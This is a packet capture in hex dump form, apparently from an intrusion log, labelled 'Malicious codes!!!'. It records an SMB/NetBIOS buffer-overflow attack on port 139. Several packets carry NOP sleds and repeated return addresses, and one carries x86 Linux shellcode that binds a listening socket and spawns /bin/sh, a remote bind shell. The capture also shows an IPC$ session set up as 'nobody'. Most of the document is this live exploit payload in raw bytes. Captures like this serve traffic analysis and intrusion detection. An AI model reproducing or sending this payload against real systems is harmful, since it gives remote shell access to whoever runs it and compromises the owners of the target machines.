11:41:18.218954 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: S 1879320746:1879320746(0) ack 1774218136 win 5792 <mss 1460,sackOK,timestamp 8427756 8864766,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8554 7004 28aa 69c0 6b98  >.i....Tp.(.i.k.
0x0020      a012 16a0 2e43 0000 0204 05b4 0402 080a  .....C..........
0x0030      0080 98ec 0087 43fe 0103 0300            ......C.....
11:41:18.218968 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: S 1879320746:1879320746(0) ack 1774218136 win 5792 <mss 1460,sackOK,timestamp 8427756 8864766,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8554 7004 28aa 69c0 6b98  >.i....Tp.(.i.k.
0x0020      a012 16a0 2e43 0000 0204 05b4 0402 080a  .....C..........
0x0030      0080 98ec 0087 43fe 0103 0300            ......C.....

Malicious codes!!!

11:41:18.226439 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8864770 8427740>NBT Packet (DF)
0x0000      4500 05dc 8ded 4000 2f06 86f3 3e10 69a4  E.....@./...>.i.
0x0010      800a 097d 854f 008b 6926 cf90 6f59 55a3  ...}.O..i&..oYU.
0x0020      8010 16d0 709a 0000 0101 080a 0087 4402  ....p.........D.
0x0030      0080 98dc 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 9044  .............p.D
0x0480      feff bfd4 feff bf44 feff bfd4 feff bf44  .......D.......D
0x0490      feff bfd4 feff bf44 feff bfd4 feff bf44  .......D.......D
0x04a0      feff bfd4 feff bf44 feff bfd4 feff bf44  .......D.......D
0x04b0      feff bfd4 feff bf44 feff bfd4 feff bf44  .......D.......D
0x04c0      feff bfd4 feff bf44 feff bfd4 feff bf44  .......D.......D
0x04d0      feff bfd4 feff bf44 feff bfd4 feff bf90  .......D........
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.226687 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8864770 8427740>NBT Packet (DF)
0x0000      4500 05dc 8dee 4000 2f06 86f2 3e10 69a4  E.....@./...>.i.
0x0010      800a 097d 854f 008b 6926 d538 6f59 55a3  ...}.O..i&.8oYU.
0x0020      8010 16d0 522b 0000 0101 080a 0087 4402  ....R+........D.
0x0030      0080 98dc 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.226689 XX.XX.XXX.164.34133 > XXX.XX.X.137.45295: S 1769360821:1769360821(0) win 5840 <mss 1460,sackOK,timestamp 8864770 0,nop,wscale 0> (DF)
0x0000      4500 003c 09b7 4000 2f06 10ca 3e10 69a4  E..<..@./...>.i.
0x0010      800a 097d 8555 b0ef 6976 4db5 0000 0000  ...}.U..ivM.....
0x0020      a002 16d0 ce01 0000 0204 05b4 0402 080a  ................
0x0030      0087 4402 0000 0000 0103 0300            ..D.........
11:41:18.226787 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8864770 8427740>NBT Packet (DF)
0x0000      4500 0483 8def 4000 2f06 884a 3e10 69a4  E.....@./..J>.i.
0x0010      800a 097d 854f 008b 6926 dae0 6f59 55a3  ...}.O..i&..oYU.
0x0020      8019 16d0 b51c 0000 0101 080a 0087 4402  ..............D.
0x0030      0080 98dc 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.240888 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: . ack 3011 win 8688 <nop,nop,timestamp 8427757 8864770> (DF)
0x0000      4500 0034 cd85 4000 4006 3c03 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 55a3 6926 dae0  >.i....OoYU.i&..
0x0020      8010 21f0 b6bc 0000 0101 080a 0080 98ed  ..!.............
0x0030      0087 4402                                ..D.
11:41:18.240900 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: . ack 3011 win 8688 <nop,nop,timestamp 8427757 8864770> (DF)
0x0000      4500 0034 cd85 4000 4006 3c03 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 55a3 6926 dae0  >.i....OoYU.i&..
0x0020      8010 21f0 b6bc 0000 0101 080a 0080 98ed  ..!.............
0x0030      0087 4402                                ..D.
11:41:18.241138 XXX.XX.X.137.45295 > XX.XX.XXX.164.34133: R 0:0(0) ack 1769360822 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8555 0000 0000 6976 4db6  >.i....U....ivM.
0x0020      5014 0000 9123 0000                      P....#..
11:41:18.241141 XXX.XX.X.137.45295 > XX.XX.XXX.164.34133: R 0:0(0) ack 1 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8555 0000 0000 6976 4db6  >.i....U....ivM.
0x0020      5014 0000 9123 0000                      P....#..
11:41:18.243281 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427757 8864770> (DF)
0x0000      4500 0034 cd86 4000 4006 3c02 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 55a3 6926 df30  >.i....OoYU.i&.0
0x0020      8014 2d40 a718 0000 0101 080a 0080 98ed  ..-@............
0x0030      0087 4402                                ..D.
11:41:18.243292 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427757 8864770> (DF)
0x0000      4500 0034 cd86 4000 4006 3c02 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 55a3 6926 df30  >.i....OoYU.i&.0
0x0020      8014 2d40 a718 0000 0101 080a 0080 98ed  ..-@............
0x0030      0087 4402                                ..D.
11:41:18.260081 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864788 8427744> (DF)
0x0000      4500 0034 a8d7 4000 2f06 71b1 3e10 69a4  E..4..@./.q.>.i.
0x0010      800a 097d 8551 008b 6985 ebbe 6ff1 7b25  ...}.Q..i...o.{%
0x0020      8010 16d0 8a7e 0000 0101 080a 0087 4414  .....~........D.
0x0030      0080 98e0                                ....
11:41:18.260084 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864788 8427744>NBT Packet (DF)
0x0000      4500 0074 a8d8 4000 2f06 7170 3e10 69a4  E..t..@./.qp>.i.
0x0010      800a 097d 8551 008b 6985 ebbe 6ff1 7b25  ...}.Q..i...o.{%
0x0020      8018 16d0 ebbe 0000 0101 080a 0087 4414  ..............D.
0x0030      0080 98e0 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4b09 6400 0000 0000 0000 5c5c 6970  ..K.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.263203 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427759 8864788>NBT Packet (DF)
0x0000      4500 005f e228 4000 4006 2735 800a 097d  E.._.(@.@.'5...}
0x0010      3e10 69a4 008b 8551 6ff1 7b25 6985 ebfe  >.i....Qo.{%i...
0x0020      8018 16a0 19e4 0000 0101 080a 0080 98ef  ................
0x0030      0087 4414 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4b09 6400 0000 02ff ff01 0000 00    ..K.d..........
11:41:18.263212 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427759 8864788>NBT Packet (DF)
0x0000      4500 005f e228 4000 4006 2735 800a 097d  E.._.(@.@.'5...}
0x0010      3e10 69a4 008b 8551 6ff1 7b25 6985 ebfe  >.i....Qo.{%i...
0x0020      8018 16a0 19e4 0000 0101 080a 0080 98ef  ................
0x0030      0087 4414 0000 0027 ff53 4d42 7000 0000  ..D....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4b09 6400 0000 02ff ff01 0000 00    ..K.d..........
11:41:18.278304 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864797 8427745> (DF)
0x0000      4500 0034 07f5 4000 2f06 1294 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8553 008b 69af 443e 6f9c d3b0  ...}.S..i.D>o...
0x0020      8010 16d0 d992 0000 0101 080a 0087 441d  ..............D.
0x0030      0080 98e1                                ....
11:41:18.278309 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864797 8427745>NBT Packet (DF)
0x0000      4500 0066 07f6 4000 2f06 1261 3e10 69a4  E..f..@./..a>.i.
0x0010      800a 097d 8553 008b 69af 443e 6f9c d3b0  ...}.S..i.D>o...
0x0020      8018 16d0 4580 0000 0101 080a 0087 441d  ....E.........D.
0x0030      0080 98e1 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4d09 6400 0100 00ff 0000 0000 2002  ..M.d...........
0x0060      0001 0000 0000                           ......
11:41:18.279442 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: . ack 51 win 5792 <nop,nop,timestamp 8427761 8864797> (DF)
0x0000      4500 0034 4b41 4000 4006 be47 800a 097d  E..4KA@.@..G...}
0x0010      3e10 69a4 008b 8553 6f9c d3b0 69af 4470  >.i....So...i.Dp
0x0020      8010 16a0 d980 0000 0101 080a 0080 98f1  ................
0x0030      0087 441d                                ..D.
11:41:18.279449 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: . ack 51 win 5792 <nop,nop,timestamp 8427761 8864797> (DF)
0x0000      4500 0034 4b41 4000 4006 be47 800a 097d  E..4KA@.@..G...}
0x0010      3e10 69a4 008b 8553 6f9c d3b0 69af 4470  >.i....So...i.Dp
0x0020      8010 16a0 d980 0000 0101 080a 0080 98f1  ................
0x0030      0087 441d                                ..D.
11:41:18.291523 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427762 8864797>NBT Packet (DF)
0x0000      4500 0061 4b42 4000 4006 be19 800a 097d  E..aKB@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3b0 69af 4470  >.i....So...i.Dp
0x0020      8018 16a0 61f9 0000 0101 080a 0080 98f2  ....a...........
0x0030      0087 441d 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4d09 6400 0100 03ff 0000 0001 0000  ..M.d...........
0x0060      00                                       .
11:41:18.291532 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427762 8864797>NBT Packet (DF)
0x0000      4500 0061 4b42 4000 4006 be19 800a 097d  E..aKB@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3b0 69af 4470  >.i....So...i.Dp
0x0020      8018 16a0 61f9 0000 0101 080a 0080 98f2  ....a...........
0x0030      0087 441d 0000 0029 ff53 4d42 7300 0000  ..D....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4d09 6400 0100 03ff 0000 0001 0000  ..M.d...........
0x0060      00                                       .
 

Malicious codes!!!

11:41:18.313932 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8864815 8427749>NBT Packet (DF)
0x0000      4500 05dc 39fd 4000 2f06 dae3 3e10 69a4  E...9.@./...>.i.
0x0010      800a 097d 8550 008b 69b7 7b45 6f8a 22cd  ...}.P..i.{Eo.".
0x0020      8010 16d0 12e3 0000 0101 080a 0087 442f  ..............D/
0x0030      0080 98e5 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
